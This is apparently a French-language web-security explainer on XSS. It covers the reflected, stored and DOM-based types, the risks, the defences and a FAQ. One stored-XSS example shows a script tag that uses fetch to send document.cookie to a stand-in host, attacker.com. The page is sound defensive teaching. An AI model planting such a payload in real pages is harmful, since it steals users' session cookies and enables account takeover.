Les 3 types de XSS
- XSS réfléchi (Reflected) : le script malveillant est injecté via l'URL et exécuté immédiatement dans la réponse du serveur.
- XSS stocké (Stored) : le script est persisté en base de données et exécuté à chaque consultation de la page par un utilisateur.
- XSS DOM-based : l'injection se produit côté client, en manipulant le DOM JavaScript sans passer par le serveur.
Que peut faire un attaquant avec un XSS ?
Vol de cookies de session, redirection vers un site de phishing, enregistrement des frappes clavier (keylogger), défiguration du contenu visible, ou exécution d'actions au nom de la victime (CSRF chaîné).
Comment se protéger du XSS ?
- Échapper systématiquement les sorties HTML (output encoding).
- Utiliser une Content Security Policy (CSP) restrictive.
- Valider les entrées côté serveur et côté client.
- Configurer les cookies avec les flags
HttpOnlyetSameSite.
Exemple concret de XSS stocké
Un champ commentaire stocke le texte tel quel et l'affiche via innerHTML :
<div>Message: <script>fetch('//attacker.com/?c='+document.cookie)</script></div>Chaque visiteur exécute le script : le cookie de session est envoyé à l'attaquant. Score CVSS typique : 8.0 (Haut).
Recevoir la checklist OWASP Top 10 (PDF imprimable)
Les 10 risques 2021 traduits en contrôles de remédiation à cocher pour vos équipes dev et sécurité. Indiquez votre email professionnel pour y accéder immédiatement.
FAQ XSS
Les frameworks modernes (React, Vue, Angular) protègent-ils des XSS ?
Oui par défaut, via l'auto-escaping des chaînes. Les risques résiduels : dangerouslySetInnerHTML (React), v-html (Vue), bypassSecurityTrust (Angular) — tous bypassent la protection.
Une Content Security Policy (CSP) suffit-elle ?
Non. Une CSP stricte réduit fortement l'impact d'une XSS mais n'empêche pas l'injection elle-même. Elle doit venir en complément de l'escaping côté serveur et client.
XSS peut-elle mener à une compromission totale ?
Oui, via le vol de session admin, le CSRF auto-exécuté ou l'exfiltration de données via fetch. Sur un back-office admin, une XSS stockée équivaut souvent à une prise de contrôle complète.
Un scan automatique détecte-t-il toutes les XSS ?
Non. Les XSS réfléchies triviales oui, mais les DOM-based, les stockées conditionnées à un contexte utilisateur et les mutation XSS nécessitent un pentester manuel. Voir pentest automatisé vs manuel.